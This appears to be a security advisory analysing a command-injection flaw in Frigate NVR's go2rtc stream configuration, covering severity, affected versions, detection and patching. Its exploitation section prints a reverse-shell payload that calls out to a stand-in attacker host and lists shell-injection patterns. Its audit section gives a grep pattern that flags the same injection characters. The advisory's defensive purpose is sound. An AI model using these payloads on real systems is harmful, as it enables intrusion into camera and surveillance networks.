EUVD-2026-5586: Comprehensive Technical Analysis

Executive Summary

EUVD-2026-5586 (CVE-2026-25643) represents a critical Remote Command Execution (RCE) vulnerability in Frigate, a widely-deployed network video recorder (NVR) with real-time object detection capabilities. The vulnerability achieves a CVSS v3.1 base score of 9.1 (Critical), stemming from insufficient input sanitization in the go2rtc integration that permits arbitrary system command execution.

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1. Vulnerability Assessment and Severity Evaluation

Technical Classification

• Vulnerability Type: Remote Command Execution (RCE) via Command Injection
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Administrative access required
• User Interaction: None (UI:N)
• Scope: Changed (S:C) - Exploitation can affect resources beyond the vulnerable component

CVSS v3.1 Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Base Score: 9.1 (Critical)

Vector Analysis:

• AV:N (Network): Exploitable remotely over network
• AC:L (Low): No specialized conditions required for exploitation
• PR:H (High): Requires administrative privileges
• UI:N (None): No user interaction needed
• S:C (Changed): Can impact underlying system beyond application scope
• C:H/I:H/A:H: Complete compromise of confidentiality, integrity, and availability

Severity Justification

Despite requiring administrative privileges (PR:H), the 9.1 Critical rating is justified due to:

1. Scope Change (S:C): Command execution at the OS level transcends application boundaries
2. Complete System Compromise: Full CIA triad impact
3. Deployment Context: Many Frigate installations are exposed without proper authentication
4. Lateral Movement Potential: Compromised NVR systems often reside on internal networks with access to surveillance infrastructure

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2. Attack Vectors and Exploitation Methods

Primary Attack Vector

Configuration File Injection via go2rtc Integration

The vulnerability exists in the video stream configuration mechanism where the exec: directive in config.yaml is processed without sanitization:

# Vulnerable configuration example
go2rtc:
  streams:
    camera_stream:
      - exec:/path/to/command; malicious_command

Exploitation Scenarios

Scenario A: Authenticated Administrator Attack

Prerequisites:

• Valid administrative credentials
• Access to Frigate web interface or configuration file

Attack Flow:

1. Attacker authenticates with admin credentials
2. Modifies config.yaml or uses web interface to inject malicious exec: directive
3. go2rtc service processes configuration and executes injected commands
4. Attacker gains shell access with Frigate service privileges

Example Payload:

go2rtc:
  streams:
    malicious_stream:
      - exec:ffmpeg -i /dev/null; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

Scenario B: Unauthenticated Attack (Misconfigured Installations)

Prerequisites:

• Frigate exposed to internet without authentication
• Default or weak administrative controls

Attack Flow:

1. Attacker discovers exposed Frigate instance (Shodan, Censys)
2. Accesses administrative interface without authentication
3. Injects command execution payload via stream configuration
4. Establishes persistent backdoor

Scenario C: Supply Chain/Insider Threat

Prerequisites:

• Access to configuration management systems
• Compromised CI/CD pipeline

Attack Flow:

1. Malicious configuration injected through automated deployment
2. Multiple Frigate instances compromised simultaneously
3. Establishes command-and-control infrastructure across surveillance network

Technical Exploitation Details

Command Injection Techniques:

# Shell metacharacter injection
exec:legitimate_command; malicious_command

# Command substitution
exec:legitimate_command `malicious_command`

# Pipe chaining
exec:legitimate_command | malicious_command

# Background execution
exec:legitimate_command & malicious_command

Post-Exploitation Activities:

• Privilege escalation to root (if service runs with elevated privileges)
• Credential harvesting from configuration files
• Network reconnaissance and lateral movement
• Video feed manipulation or exfiltration
• Persistent backdoor installation
• Cryptocurrency mining deployment

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3. Affected Systems and Software Versions

Affected Products

• Product: Frigate NVR
• Vendor: blakeblackshear
• Affected Versions: All versions < 0.16.4
• Fixed Version: 0.16.4 and later

Vulnerable Component

• go2rtc integration module - Real-time streaming component
• Configuration parser - YAML processing without input validation

Deployment Environments at Risk

1. Home Surveillance Systems

   • Residential NVR deployments
   • Smart home integrations (Home Assistant, etc.)

2. Small-to-Medium Business (SMB)

   • Retail surveillance
   • Office security systems
   • Warehouse monitoring

3. Critical Infrastructure

   • Building management systems
   • Industrial facility monitoring
   • Transportation hubs

4. European Deployment Considerations

   • GDPR-regulated video surveillance systems
   • Public space monitoring infrastructure
   • Cross-border surveillance networks

Detection Methods

Version Identification:

# Check Frigate version
curl http://<frigate-ip>:5000/api/version

# Docker container inspection
docker inspect frigate | grep -i version

# Configuration file review
grep -r "version" /config/

Vulnerability Indicators:

• Frigate version < 0.16.4
• go2rtc integration enabled
• exec: directives in stream configuration
• Exposed administrative interfaces (ports 5000, 1984)

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4. Recommended Mitigation Strategies

Immediate Actions (Priority 1 - Within 24 Hours)

1. Emergency Patching

# Docker deployment update
docker pull ghcr.io/blakeblackshear/frigate:0.16.4
docker-compose down
docker-compose up -d

# Verify patched version
docker exec frigate cat /VERSION

2. Network Isolation

• Remove direct internet exposure
• Implement firewall rules restricting access to trusted networks
• Deploy VPN for remote access

# Example iptables rules
iptables -A INPUT -p tcp --dport 5000 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 5000 -j DROP

3. Configuration Audit

# Search for suspicious exec: directives
grep -r "exec:" /config/config.yaml

# Review for command injection patterns
grep -E "(;|\||&|`|\$\()" /config/config.yaml

Short-Term Mitigations (Priority 2 - Within 1 Week)

4. Authentication Hardening

• Enable mandatory authentication
• Implement strong password policies
• Deploy multi-factor authentication (MFA) if available
• Review and revoke unnecessary administrative accounts

5. Access Control Implementation

# Implement reverse proxy with authentication
# Example nginx configuration
location / {
    auth_basic "Restricted Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://frigate:5000;
}

6. Monitoring and Detection

• Enable comprehensive logging
• Monitor for configuration changes
• Implement SIEM integration for anomaly detection

# Monitor configuration file changes
auditctl -w /config/config.yaml -p wa -k frigate_config_change

# Monitor process execution from Frigate container
auditctl -w /proc -p x -k frigate_process